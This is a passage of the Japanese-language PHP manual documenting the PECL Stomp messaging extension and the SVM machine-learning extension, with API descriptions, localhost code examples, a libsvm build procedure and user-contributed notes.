返り値

成功した場合に true を、失敗した場合に false を返します。

例

See stomp_connect().

User Contributed Notes

vanja at removethis dizyart period com 29-Oct-2018 04:11
Isn't it a little odd to have connect/disconnect in the constructor/destructor methods?
I have a case where the connection is presumably kept alive until the PHP process ends:

<?php
class MyStompWrapper {
    public function doSend()
    {
        $stomp = $this->connect(); // returns Stomp Object
        $stomp->send('/destination', 'message', []);
        $this->disconnect($stomp);
        // $stomp still exists in this scope, hence, the connection is alive
    }

    private function disconnect(\Stomp $stompObj)
    {
        // only unsets the local $stomp pointer, does not actually disconnect
        unset($stomp);
    }

    private function connect():\Stomp
    {
        // try-catch block omitted for example brevity
        return new Stomp('url', 'username', 'password');
    }
}
?>

This means that, in order to handle disconnecting, I have to create and destroy the Stomp object within the same scope.


Gets the last stomp error

  • ≪ Stomp::__destruct
  • Stomp::getReadTimeout ≫
  • PHP Manual
  • Stomp
  • Gets the last stomp error

Stomp::error

stomp_error

(PECL stomp >= 0.1.0)

Stomp::error -- stomp_error — Gets the last stomp error

説明

オブジェクト指向型 (method):

public Stomp::error ( ) : string

手続き型:

stomp_error ( resource $link ) : string

Gets the last stomp error.

パラメータ

link

手続き型のみ: stomp_connect() が返す stomp リンク ID。

返り値

Returns an error string or false if no error occurred.

例

例1 オブジェクト指向型

<?php

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

var_dump($stomp->error());

if (!$stomp->abort('unknown-transaction', array('receipt' => 'foo'))) {
    var_dump($stomp->error());
}

/* close connection */
unset($stomp);

?>

上の例の出力は、 たとえば以下のようになります。

bool(false)
string(43) "Invalid transaction id: unknown-transaction"

例2 手続き型

<?php

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

var_dump(stomp_error($link));

if (!stomp_abort($link, 'unknown-transaction', array('receipt' => 'foo'))) {
    var_dump(stomp_error($link));
}

/* close connection */
stomp_close($link);

?>

上の例の出力は、 たとえば以下のようになります。

bool(false)
string(43) "Invalid transaction id: unknown-transaction"

User Contributed Notes

There are no user contributed notes for this page.


Gets read timeout

  • ≪ Stomp::error
  • Stomp::getSessionId ≫
  • PHP Manual
  • Stomp
  • Gets read timeout

Stomp::getReadTimeout

stomp_get_read_timeout

(PECL stomp >= 0.3.0)

Stomp::getReadTimeout -- stomp_get_read_timeout — Gets read timeout

説明

オブジェクト指向型 (method):

public Stomp::getReadTimeout ( ) : array

手続き型:

stomp_get_read_timeout ( resource $link ) : array

Gets read timeout

パラメータ

link

手続き型のみ: stomp_connect() が返す stomp リンク ID。

返り値

Returns an array with 2 elements: sec and usec.

例

例1 オブジェクト指向型

<?php

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

var_dump($stomp->getReadTimeout());

/* close connection */
unset($stomp);

?>

上の例の出力は、 たとえば以下のようになります。

array(2) {
  ["sec"]=>
  int(2)
  ["usec"]=>
  int(0)
}

例2 手続き型

<?php

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

var_dump(stomp_get_read_timeout($link));

/* close connection */
stomp_close($link);

?>

上の例の出力は、 たとえば以下のようになります。

array(2) {
  ["sec"]=>
  int(2)
  ["usec"]=>
  int(0)
}

User Contributed Notes

There are no user contributed notes for this page.


Gets the current stomp session ID

  • ≪ Stomp::getReadTimeout
  • Stomp::hasFrame ≫
  • PHP Manual
  • Stomp
  • Gets the current stomp session ID

Stomp::getSessionId

stomp_get_session_id

(PECL stomp >= 0.1.0)

Stomp::getSessionId -- stomp_get_session_id — Gets the current stomp session ID

説明

オブジェクト指向型 (method):

public Stomp::getSessionId ( ) : string|false

手続き型:

stomp_get_session_id ( resource $link ) : string|false

Gets the current stomp session ID.

パラメータ

link

手続き型のみ: stomp_connect() が返す stomp リンク ID。

返り値

string session id on success失敗した場合に false を返します.

例

例1 オブジェクト指向型

<?php

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

var_dump($stomp->getSessionId());

/* close connection */
unset($stomp);

?>

上の例の出力は、 たとえば以下のようになります。

string(35) "ID:php.net-52873-1257291895530-4:14"

例2 手続き型

<?php

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

var_dump(stomp_get_session_id($link));

/* close connection */
stomp_close($link);

?>

上の例の出力は、 たとえば以下のようになります。

string(35) "ID:php.net-52873-1257291895530-4:14"

User Contributed Notes

There are no user contributed notes for this page.


Indicates whether or not there is a frame ready to read

  • ≪ Stomp::getSessionId
  • Stomp::readFrame ≫
  • PHP Manual
  • Stomp
  • Indicates whether or not there is a frame ready to read

Stomp::hasFrame

stomp_has_frame

(PECL stomp >= 0.1.0)

Stomp::hasFrame -- stomp_has_frame — Indicates whether or not there is a frame ready to read

説明

オブジェクト指向型 (method):

public Stomp::hasFrame ( ) : bool

手続き型:

stomp_has_frame ( resource $link ) : bool

Indicates whether or not there is a frame ready to read.

パラメータ

link

手続き型のみ: stomp_connect() が返す stomp リンク ID。

返り値

Returns true if a frame is ready to read, or false otherwise.

User Contributed Notes

ricks at panamax dot com 28-Sep-2016 05:54
Be aware that this function/method will block the caller, unless a frame is currently ready to be read. The duration of the block is the currently set read timeout.

The installation default for PECL Stomp read timeout is two seconds. Unless the associated ini file has been modified to override this value, or you have used the "set read timeout" function/method, the block time will be two seconds.


Reads the next frame

  • ≪ Stomp::hasFrame
  • Stomp::send ≫
  • PHP Manual
  • Stomp
  • Reads the next frame

Stomp::readFrame

stomp_read_frame

(PECL stomp >= 0.1.0)

Stomp::readFrame -- stomp_read_frame — Reads the next frame

説明

オブジェクト指向型 (method):

public Stomp::readFrame ( string $class_name = "stompFrame" ) : stompframe

手続き型:

stomp_read_frame ( resource $link ) : array

Reads the next frame. It is possible to instantiate an object of a specific class, and pass parameters to that class's constructor.

パラメータ

link

手続き型のみ: stomp_connect() が返す stomp リンク ID。

class_name

The name of the class to instantiate. If not specified, a stompFrame object is returned.

返り値

注意:

トランザクションヘッダを指定し、そのメッセージがトランザクションの一部であることを示します。

変更履歴

バージョン | 説明
Stomp 0.4.0 | class_name parameter was added.

例

例1 オブジェクト指向型

<?php

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

/* subscribe to messages from the queue 'foo' */
$stomp->subscribe('/queue/foo');

/* read a frame */
var_dump($stomp->readFrame());

/* close connection */
unset($stomp);

?>

上の例の出力は、 たとえば以下のようになります。

object(StompFrame)#2 (3) {
  ["command"]=>
  string(7) "MESSAGE"
  ["headers"]=>
  array(5) {
    ["message-id"]=>
    string(41) "ID:php.net-55293-1257226743606-4:2:-1:1:1"
    ["destination"]=>
    string(10) "/queue/foo"
    ["timestamp"]=>
    string(13) "1257226805828"
    ["expires"]=>
    string(1) "0"
    ["priority"]=>
    string(1) "0"
  }
  ["body"]=>
  string(3) "bar"
}

例2 手続き型

<?php

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

/* subscribe to messages from the queue 'foo' */
stomp_subscribe($link, '/queue/foo');

/* read a frame */
$frame = stomp_read_frame($link);

/* close connection */
stomp_close($link);

?>

上の例の出力は、 たとえば以下のようになります。

array(3) {
  ["command"]=>
  string(7) "MESSAGE"
  ["body"]=>
  string(3) "bar"
  ["headers"]=>
  array(6) {
    ["transaction"]=>
    string(2) "t1"
    ["message-id"]=>
    string(41) "ID:php.net-55293-1257226743606-4:3:-1:1:1"
    ["destination"]=>
    string(10) "/queue/foo"
    ["timestamp"]=>
    string(13) "1257227037059"
    ["expires"]=>
    string(1) "0"
    ["priority"]=>
    string(1) "0"
  }
}

User Contributed Notes

hasan dot ucak at gmail dot com 29-Jan-2018 02:44
/* php.ini
[stomp]
stomp.default_connection_timeout_sec = 10
stomp.default_read_timeout_sec = 15

these values should not be left by default.
if queue server very busy and there is a lot message in queue ,
not respond to frame in two second.
*/

  try {
            $stomp = new Stomp(self::geturl, self::username, self::password,array('client-id'=> gethostname()."-".uniqid(mt_rand(), true)));

            $stomp->subscribe(self::getqueue, array('selector' => sprintf(self::selector, $queue_id)));

            /* read a frame */

            $frame = $stomp->readFrame();
            if ($frame) {
                $stomp->ack($frame);
                unset($stomp);
                return $frame;
            }
            unset($stomp);
            return false;
        } catch (StompException $e) {
            print ('Connection failed: ' . $e->getMessage());
            unset($stomp);
            return false;
        }

        /* close connection */
        unset($stomp);


Sends a message

  • ≪ Stomp::readFrame
  • Stomp::setReadTimeout ≫
  • PHP Manual
  • Stomp
  • Sends a message

Stomp::send

stomp_send

(PECL stomp >= 0.1.0)

Stomp::send -- stomp_send — Sends a message

説明

オブジェクト指向型 (method):

public Stomp::send ( string $destination , mixed $msg , array $headers = ? ) : bool

手続き型:

stomp_send ( resource $link , string $destination , mixed $msg , array $headers = ? ) : bool

Sends a message to the Message Broker.

パラメータ

link

手続き型のみ: stomp_connect() が返す stomp リンク ID。

destination

Where to send the message

msg

Message to send.

headers

追加のヘッダ (例: receipt) を含む連想配列。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

注意:

トランザクションヘッダを指定し、そのメッセージがトランザクションの一部であることを示します。

ヒント

Stomp は本来非同期です。同期通信を実装するには receipt ヘッダを追加します。これを追加すると、サーバーがメッセージを受領するかタイムアウトに達するまではメソッドが何も返さないようになります。

例

See stomp_ack().

User Contributed Notes

james dot mk dot green at gmail dot com 22-Aug-2011 04:14
Without a receipt header your application will fire messages potentially faster than the broker can receive them at. The broker may issue failure notices however STOMP being asynchronous your client won't get to see it.

Without a receipt ActiveMQ (5.5.0) with ProducerFlowControl turned on drops messages (even persistent ones) and my application knows nothing about it (send() returned true). With receipt header specified the STOMP library handles the wait for the receipt acknowledgement for you - you are essentially automatically throttled.


Sets read timeout

  • ≪ Stomp::send
  • Stomp::subscribe ≫
  • PHP Manual
  • Stomp
  • Sets read timeout

Stomp::setReadTimeout

stomp_set_read_timeout

(PECL stomp >= 0.3.0)

Stomp::setReadTimeout -- stomp_set_read_timeout — Sets read timeout

説明

オブジェクト指向型 (method):

public Stomp::setReadTimeout ( int $seconds , int $microseconds = ? ) : void

手続き型:

stomp_set_read_timeout ( resource $link , int $seconds , int $microseconds = ? ) : void

Sets read timeout.

パラメータ

link

手続き型のみ: stomp_connect() が返す stomp リンク ID。

seconds

The seconds part of the timeout to be set.

microseconds

The microseconds part of the timeout to be set.

例

例1 オブジェクト指向型

<?php

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

$stomp->setReadTimeout(10);

/* close connection */
unset($stomp);

?>

例2 手続き型

<?php

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

stomp_set_read_timeout($link, 10);

/* close connection */
stomp_close($link);

?>

User Contributed Notes

There are no user contributed notes for this page.


Registers to listen to a given destination

  • ≪ Stomp::setReadTimeout
  • Stomp::unsubscribe ≫
  • PHP Manual
  • Stomp
  • Registers to listen to a given destination

Stomp::subscribe

stomp_subscribe

(PECL stomp >= 0.1.0)

Stomp::subscribe -- stomp_subscribe — Registers to listen to a given destination

説明

オブジェクト指向型 (method):

public Stomp::subscribe ( string $destination , array $headers = ? ) : bool

手続き型:

stomp_subscribe ( resource $link , string $destination , array $headers = ? ) : bool

Registers to listen to a given destination.

パラメータ

link

手続き型のみ: stomp_connect() が返す stomp リンク ID。

destination

Destination to subscribe to.

headers

追加のヘッダ (例: receipt) を含む連想配列。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

ヒント

Stomp は本来非同期です。同期通信を実装するには receipt ヘッダを追加します。これを追加すると、サーバーがメッセージを受領するかタイムアウトに達するまではメソッドが何も返さないようになります。

例

See stomp_ack().

User Contributed Notes

holycd 27-Jul-2017 02:50
Using Topics from PHP over Stomp
$clientId = 'test:dev';
$topic  = '/topic/perm.user';

try {
    $stomp = new Stomp('tcp://localhost:61613','system','manager', array('client-id'=> $clientId ));
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

$isSubscribe = $stomp->subscribe($topic);

while($isSubscribe){
    if ($stomp->hasFrame()) {
        $frame = $stomp->readFrame();
        if ($frame != NULL) {
            print "Received: " . $frame->body . " - time now is " . date("Y-m-d H:i:s"). "\n";
//            $stomp->ack($frame);
        }
//       sleep(1);
    }
    else {
        print "No frames to read\n";
    }
}
if($isSubscribe){
    $stomp->unsubscribe($topic);
    unset($stomp);
}

Can not receive the topic frame


Removes an existing subscription

  • ≪ Stomp::subscribe
  • StompFrame ≫
  • PHP Manual
  • Stomp
  • Removes an existing subscription

Stomp::unsubscribe

stomp_unsubscribe

(PECL stomp >= 0.1.0)

Stomp::unsubscribe -- stomp_unsubscribe — Removes an existing subscription

説明

オブジェクト指向型 (method):

public Stomp::unsubscribe ( string $destination , array $headers = ? ) : bool

手続き型:

stomp_unsubscribe ( resource $link , string $destination , array $headers = ? ) : bool

Removes an existing subscription.

パラメータ

link

手続き型のみ: stomp_connect() が返す stomp リンク ID。

destination

Subscription to remove.

headers

追加のヘッダ (例: receipt) を含む連想配列。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

ヒント

Stomp は本来非同期です。同期通信を実装するには receipt ヘッダを追加します。これを追加すると、サーバーがメッセージを受領するかタイムアウトに達するまではメソッドが何も返さないようになります。

例

See stomp_ack().

User Contributed Notes

There are no user contributed notes for this page.


The StompFrame class

(PECL stomp >= 0.1.0)

はじめに

Represents a message which was sent or received from a Stomp compliant Message Broker.

クラス概要

StompFrame {
/* プロパティ */
public $command ;
public $headers ;
public $body ;
/* メソッド */
__construct ( string $command = ? , array $headers = ? , string $body = ? )
}

プロパティ

command

Frame command.

headers

Frame headers (array).

body

Frame body.

目次

  • StompFrame::__construct — Constructor

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • ≪ StompFrame
  • StompException ≫
  • PHP Manual
  • StompFrame
  • Constructor

StompFrame::__construct

(PECL stomp >= 0.1.0)

StompFrame::__construct — Constructor

説明

StompFrame::__construct ( string $command = ? , array $headers = ? , string $body = ? )

Constructor.

パラメータ

command

Frame command

headers

Frame headers (array).

body

Frame body.

User Contributed Notes

There are no user contributed notes for this page.


The StompException class

(PECL stomp >= 0.1.0)

はじめに

Represents an error raised by the stomp extension. See Exceptions for more information about Exceptions in PHP.

クラス概要

StompException extends Exception {
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
/* メソッド */
public getDetails ( ) : string
}

目次

  • StompException::getDetails — Get exception details

User Contributed Notes

There are no user contributed notes for this page.


Get exception details

  • ≪ StompException
  • SVM ≫
  • PHP Manual
  • StompException
  • Get exception details

StompException::getDetails

(PECL stomp >= 0.1.0)

StompException::getDetails — Get exception details

説明

public StompException::getDetails ( ) : string

Get exception details.

返り値

string containing the error details.

User Contributed Notes

There are no user contributed notes for this page.


サポートベクターマシン

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 例
  • SVM — The SVM class
    • SVM::__construct — SVM オブジェクトを新規構築
    • SVM::crossvalidate — Test training params on subsets of the training data
    • SVM::getOptions — 現在の訓練パラメータを返す
    • SVM::setOptions — 訓練パラメータを設定
    • SVM::train — Create a SVMModel based on training data
  • SVMModel — SVMModel クラス
    • SVMModel::checkProbabilityModel — モデルが確率情報を持つ場合 TRUE を返す
    • SVMModel::__construct — SVMModel を新規構築
    • SVMModel::getLabels — モデルが訓練されたラベルを取得
    • SVMModel::getNrClass — モデルが訓練されたクラスの個数を返す
    • SVMModel::getSvmType — モデルが訓練された SVM の種類を取得
    • SVMModel::getSvrProbability — 回帰モデルに対するσ（シグマ）値を取得
    • SVMModel::load — 保管された SVM モデルを読み込み
    • SVMModel::predict_probability — Return class probabilities for previous unseen data
    • SVMModel::predict — Predict a value for previously unseen data
    • SVMModel::save — モデルをファイルに保管

User Contributed Notes

There are no user contributed notes for this page.


はじめに

LibSVM は、SVM 識別と回帰の問題用の効率的なソルバーです。 PHP スクリプトで簡単に使用できるように、 svm エクステンションは、PHP インターフェイスでこれを隠蔽します。

User Contributed Notes

prawirayoga1 at gmail dot com 10-Jan-2017 10:00
make a tutorial implements svm in php for beginner, please. This is not easly understands yet.


要件

libsvm 自体が必要です。libsvm は、いくつかのパッケージ管理を介して入手可能です。 たとえば、RPM ベースのシステムでは libsvm-devel、Debian ベースのシステムでは libsvm-dev です。 あるいは Web サイトから直接入手可能です。 » 公式サイト からインストールする場合、 パッケージが自動的にインストールされないようにいくつかのステップが取られる必要があります。 例えば、最新バージョンが 3.1 と仮定しましょう。

wget http://www.csie.ntu.edu.tw/~cjlin/cgi-bin/libsvm.cgi?+http://www.csie.ntu.edu.tw/~cjlin/libsvm+tar.gz
tar xvzf libsvm-3.1.tar.gz
cd libsvm-3.1
make lib
cp libsvm.so.1 /usr/lib
ln -s libsvm.so.1 libsvm.so
ldconfig
ldconfig --print | grep libsvm

この最後のステップでは、libsvm がインストールされたことが表示されることでしょう。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/svm

User Contributed Notes

veshraj dot joshi1 at gmail dot com 21-Dec-2017 10:37
This is note is only for mac OSX
You need to have pear and libsvm installed first ..

brew install libsvm

sudo pecl install -f svm

now you need to edit php.ini and append
extension=svm.so

restart you php server


例

The basic process is to define parameters, supply training data to generate a model on, then make predictions based on the model. There are a default set of parameters that should get some results with most any input, so we'll start by looking at the data.

Data is supplied in either a file, a stream, or as an array. If supplied in a file or a stream, it must contain one line per training example, which must be formatted as an integer class (usually 1 and -1) followed by a series of feature/value pairs, in increasing feature order. The features are integers, the values floats, usually scaled 0-1. For example:

-1 1:0.43 3:0.12 9284:0.2

In a document classification problem, say a spam checker, each line would represent a document. There would be two classes, -1 for spam, 1 for ham. Each feature would represent some word, and the value would represent that importance of that word to the document (perhaps the frequency count, with the total scaled to unit length). Features that were 0 (e.g. the word did not appear in the document at all) would simply not be included.

In array mode, the data must be passed as an array of arrays. Each sub-array must have the class as the first element, then key => value sets for the feature values pairs.

This data is passed to the SVM class's train function, which will return an SVM model is successful.

Once a model has been generated, it can be used to make predictions about previously unseen data. This can be passed as an array to the model's predict function, in the same format as before, but without the label. The response will be the class.

Models can be saved and restored as required, using the save and load functions, which both take a file location.

例1 Train from array

<?php
$data = array(
    array(-1, 1 => 0.43, 3 => 0.12, 9284 => 0.2),
    array(1, 1 => 0.22, 5 => 0.01, 94 => 0.11),
);

$svm = new SVM();
$model = $svm->train($data);

$data = array(1 => 0.43, 3 => 0.12, 9284 => 0.2);
$result = $model->predict($data);
var_dump($result);
$model->save('model.svm');
?>

上の例の出力は、 たとえば以下のようになります。

int(-1)

例2 Train from a file

<?php
$svm = new SVM();
$model = $svm->train("traindata.txt");
?>

User Contributed Notes

6765419 at qq dot com 02-Nov-2013 08:49
$data = array(
            array(-1, 1 =>170, 2 => 60),//-1表示男生，key 1表示身高，key 2表示体重
            array(-1, 1 =>180, 2 => 70),
            array(1, 1 => 160, 2 => 46),//1表示女生，key 1表示身高，key 2表示体重
            array(1, 1 => 155, 2 => 40),
        );
$svm = new SVM();
$model = $svm->train($data);
$data = array( 1 => 165, 2 =>60);//??数据
$result = $model->predict($data);
echo var_export($result);
return;


The SVM class

(PECL svm >= 0.1.0)

はじめに

クラス概要

SVM {
/* Constants */
const int C_SVC = 0 ;
const int NU_SVC = 1 ;
const int ONE_CLASS = 2 ;
const int EPSILON_SVR = 3 ;
const int NU_SVR = 4 ;
const int KERNEL_LINEAR = 0 ;
const int KERNEL_POLY = 1 ;
const int KERNEL_RBF = 2 ;
const int KERNEL_SIGMOID = 3 ;
const int KERNEL_PRECOMPUTED = 4 ;
const int OPT_TYPE = 101 ;
const int OPT_KERNEL_TYPE = 102 ;
const int OPT_DEGREE = 103 ;
const int OPT_SHRINKING = 104 ;
const int OPT_PROPABILITY = 105 ;
const int OPT_GAMMA = 201 ;
const int OPT_NU = 202 ;
const int OPT_EPS = 203 ;
const int OPT_P = 204 ;
const int OPT_COEF_ZERO = 205 ;
const int OPT_C = 206 ;
const int OPT_CACHE_SIZE = 207 ;
/* Methods */
public __construct ( )
public svm::crossvalidate ( array $problem , int $number_of_folds ) : float
public getOptions ( ) : array
public setOptions ( array $params ) : bool
public svm::train ( array $problem , array $weights = ? ) : SVMModel
}

定義済み定数

SVM Constants

SVM::C_SVC

The basic C_SVC SVM type. The default, and a good starting point

SVM::NU_SVC

The NU_SVC type uses a different, more flexible, error weighting

SVM::ONE_CLASS

One class SVM type. Train just on a single class, using outliers as negative examples

SVM::EPSILON_SVR

A SVM type for regression (predicting a value rather than just a class)

SVM::NU_SVR

A NU style SVM regression type

SVM::KERNEL_LINEAR

A very simple kernel, can work well on large document classification problems

SVM::KERNEL_POLY

A polynomial kernel

SVM::KERNEL_RBF

The common Gaussian RBD kernel. Handles non-linear problems well and is a good default for classification

SVM::KERNEL_SIGMOID

A kernel based on the sigmoid function. Using this makes the SVM very similar to a two layer sigmoid based neural network

SVM::KERNEL_PRECOMPUTED

A precomputed kernel - currently unsupported.

SVM::OPT_TYPE

The options key for the SVM type

SVM::OPT_KERNEL_TYPE

The options key for the kernel type

SVM::OPT_DEGREE

SVM::OPT_SHRINKING

Training parameter, boolean, for whether to use the shrinking heuristics

SVM::OPT_PROBABILITY

Training parameter, boolean, for whether to collect and use probability estimates

SVM::OPT_GAMMA

Algorithm parameter for Poly, RBF and Sigmoid kernel types.

SVM::OPT_NU

The option key for the nu parameter, only used in the NU_ SVM types

SVM::OPT_EPS

The option key for the Epsilon parameter, used in epsilon regression

SVM::OPT_P

Training parameter used by Episilon SVR regression

SVM::OPT_COEF_ZERO

Algorithm parameter for poly and sigmoid kernels

SVM::OPT_C

The option for the cost parameter that controls tradeoff between errors and generality - effectively the penalty for misclassifying training examples.

SVM::OPT_CACHE_SIZE

Memory cache size, in MB

目次

  • SVM::__construct — SVM オブジェクトを新規構築
  • SVM::crossvalidate — Test training params on subsets of the training data
  • SVM::getOptions — 現在の訓練パラメータを返す
  • SVM::setOptions — 訓練パラメータを設定
  • SVM::train — Create a SVMModel based on training data

User Contributed Notes

There are no user contributed notes for this page.


SVM オブジェクトを新規構築

  • ≪ SVM
  • SVM::crossvalidate ≫
  • PHP Manual
  • SVM
  • SVM オブジェクトを新規構築

SVM::__construct

(PECL svm >= 0.1.0)

SVM::__construct — SVM オブジェクトを新規構築

説明

public SVM::__construct ( )

訓練データを受け取る準備ができている SVM オブジェクトを新規構成します。

パラメータ

この関数にはパラメータはありません。

返り値

libsvm ライブラリが読み込まれなかった場合、SVMException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


Test training params on subsets of the training data

  • ≪ SVM::__construct
  • SVM::getOptions ≫
  • PHP Manual
  • SVM
  • Test training params on subsets of the training data

SVM::crossvalidate

(PECL svm >= 0.1.0)

SVM::crossvalidate — Test training params on subsets of the training data

説明

public svm::crossvalidate ( array $problem , int $number_of_folds ) : float

Crossvalidate can be used to test the effectiveness of the current parameter set on a subset of the training data. Given a problem set and a n "folds", it separates the problem set into n subsets, and the repeatedly trains on one subset and tests on another. While the accuracy will generally be lower than a SVM trained on the enter data set, the accuracy score returned should be relatively useful, so it can be used to test different training parameters.

パラメータ

problem

The problem data. This can either be in the form of an array, the URL of an SVMLight formatted file, or a stream to an opened SVMLight formatted datasource.

number_of_folds

The number of sets the data should be divided into and cross tested. A higher number means smaller training sets and less reliability. 5 is a good number to start with.

返り値

The correct percentage, expressed as a floating point number from 0-1. In the case of NU_SVC or EPSILON_SVR kernels the mean squared error will returned instead.

参考

  • SVM::train() - Create a SVMModel based on training data

User Contributed Notes

kadirerturk at gmail dot com 10-Oct-2014 05:14
$svm = new SVM();
$cross = $svm->crossvalidate("/svmScaled.data" , 5); // 5 fold cross val
var_dump($cross); //


現在の訓練パラメータを返す

  • ≪ SVM::crossvalidate
  • SVM::setOptions ≫
  • PHP Manual
  • SVM
  • 現在の訓練パラメータを返す

SVM::getOptions

(PECL svm >= 0.1.0)

SVM::getOptions — 現在の訓練パラメータを返す

説明

public SVM::getOptions ( ) : array

訓練パラメータを含む配列を取得します。 パラメータは、所定の SVM 定数がキーになります。

パラメータ

この関数にはパラメータはありません。

返り値

構成の設定配列を返します。

User Contributed Notes

There are no user contributed notes for this page.


訓練パラメータを設定

  • ≪ SVM::getOptions
  • SVM::train ≫
  • PHP Manual
  • SVM
  • 訓練パラメータを設定

SVM::setOptions

(PECL svm >= 0.1.0)

SVM::setOptions — 訓練パラメータを設定

説明

public SVM::setOptions ( array $params ) : bool

1 つ以上の訓練パラメータを設定します。

パラメータ

params

訓練パラメータの配列。SVM 定数がキーになります。

返り値

成功した場合に TRUE を返し、エラーの場合に SVMExceptionFALSE をスローします。

User Contributed Notes

There are no user contributed notes for this page.


Create a SVMModel based on training data

  • ≪ SVM::setOptions
  • SVMModel ≫
  • PHP Manual
  • SVM
  • Create a SVMModel based on training data

SVM::train

(PECL svm >= 0.1.0)

SVM::train — Create a SVMModel based on training data

説明

public svm::train ( array $problem , array $weights = ? ) : SVMModel

Train a support vector machine based on the supplied training data.

パラメータ

problem

The problem can be provided in three different ways. An array, where the data should start with the class label (usually 1 or -1) then followed by a sparse data set of dimension => data pairs. A URL to a file containing a SVM Light formatted problem, with the each line being a new training example, the start of each line containing the class (1, -1) then a series of tab separated data values shows as key:value. A opened stream pointing to a data source formatted as in the file above.

weights

Weights are an optional set of weighting parameters for the different classes, to help account for unbalanced training sets. For example, if the classes were 1 and -1, and -1 had significantly more example than one, the weight for -1 could be 0.5. Weights should be in the range 0-1.

返り値

Returns an SVMModel that can be used to classify previously unseen data. Throws SVMException on error

User Contributed Notes

There are no user contributed notes for this page.


SVMModel クラス

(PECL svm >= 0.1.0)

はじめに

SVMModel は、訓練処理の結果です。 それは、以前は目に見えなかったデータを分類するために使用できます。

クラス概要

SVMModel {
/* メソッド */
public checkProbabilityModel ( ) : bool
public __construct ( string $filename = ? )
public getLabels ( ) : array
public getNrClass ( ) : int
public getSvmType ( ) : int
public getSvrProbability ( ) : float
public load ( string $filename ) : bool
public predict_probability ( array $data ) : float
public predict ( array $data ) : float
public save ( string $filename ) : bool
}

目次

  • SVMModel::checkProbabilityModel — モデルが確率情報を持つ場合 TRUE を返す
  • SVMModel::__construct — SVMModel を新規構築
  • SVMModel::getLabels — モデルが訓練されたラベルを取得
  • SVMModel::getNrClass — モデルが訓練されたクラスの個数を返す
  • SVMModel::getSvmType — モデルが訓練された SVM の種類を取得
  • SVMModel::getSvrProbability — 回帰モデルに対するσ（シグマ）値を取得
  • SVMModel::load — 保管された SVM モデルを読み込み
  • SVMModel::predict_probability — Return class probabilities for previous unseen data
  • SVMModel::predict — Predict a value for previously unseen data
  • SVMModel::save — モデルをファイルに保管

User Contributed Notes

There are no user contributed notes for this page.


モデルが確率情報を持つ場合 TRUE を返す

  • ≪ SVMModel
  • SVMModel::__construct ≫
  • PHP Manual
  • SVMModel
  • モデルが確率情報を持つ場合 TRUE を返す

SVMModel::checkProbabilityModel

(PECL svm >= 0.1.5)

SVMModel::checkProbabilityModel — モデルが確率情報を持つ場合 TRUE を返す

説明

public SVMModel::checkProbabilityModel ( ) : bool

モデルが確率情報を含む場合 TRUE を返します。

パラメータ

この関数にはパラメータはありません。

返り値

ブール値を返します

User Contributed Notes

There are no user contributed notes for this page.


SVMModel を新規構築

  • ≪ SVMModel::checkProbabilityModel
  • SVMModel::getLabels ≫
  • PHP Manual
  • SVMModel
  • SVMModel を新規構築

SVMModel::__construct

(PECL svm >= 0.1.0)

SVMModel::__construct — SVMModel を新規構築

説明

public SVMModel::__construct ( string $filename = ? )

SVMModel を新規構築します。 モデルは、通常は SVM::train 関数から作成されますが、 しかし、保管されたモデルが直接復元されるかもしれません。

パラメータ

filename

このモデルを読み込むべき、保管されたモデルファイルのファイル名

返り値

エラー時に SVMException をスローします。

参考

  • SVMModel::load() - 保管された SVM モデルを読み込み

User Contributed Notes

There are no user contributed notes for this page.


モデルが訓練されたラベルを取得

  • ≪ SVMModel::__construct
  • SVMModel::getNrClass ≫
  • PHP Manual
  • SVMModel
  • モデルが訓練されたラベルを取得

SVMModel::getLabels

(PECL svm >= 0.1.5)

SVMModel::getLabels — モデルが訓練されたラベルを取得

説明

public SVMModel::getLabels ( ) : array

モデルが訓練されたラベルの配列を返します。 回帰および 1 つのクラスのモデルでは、空の配列が返されます。

パラメータ

この関数にはパラメータはありません。

返り値

ラベルの配列を返します

参考

  • SVMModel::getNrClass() - モデルが訓練されたクラスの個数を返す

User Contributed Notes

There are no user contributed notes for this page.


モデルが訓練されたクラスの個数を返す

  • ≪ SVMModel::getLabels
  • SVMModel::getSvmType ≫
  • PHP Manual
  • SVMModel
  • モデルが訓練されたクラスの個数を返す

SVMModel::getNrClass

(PECL svm >= 0.1.5)

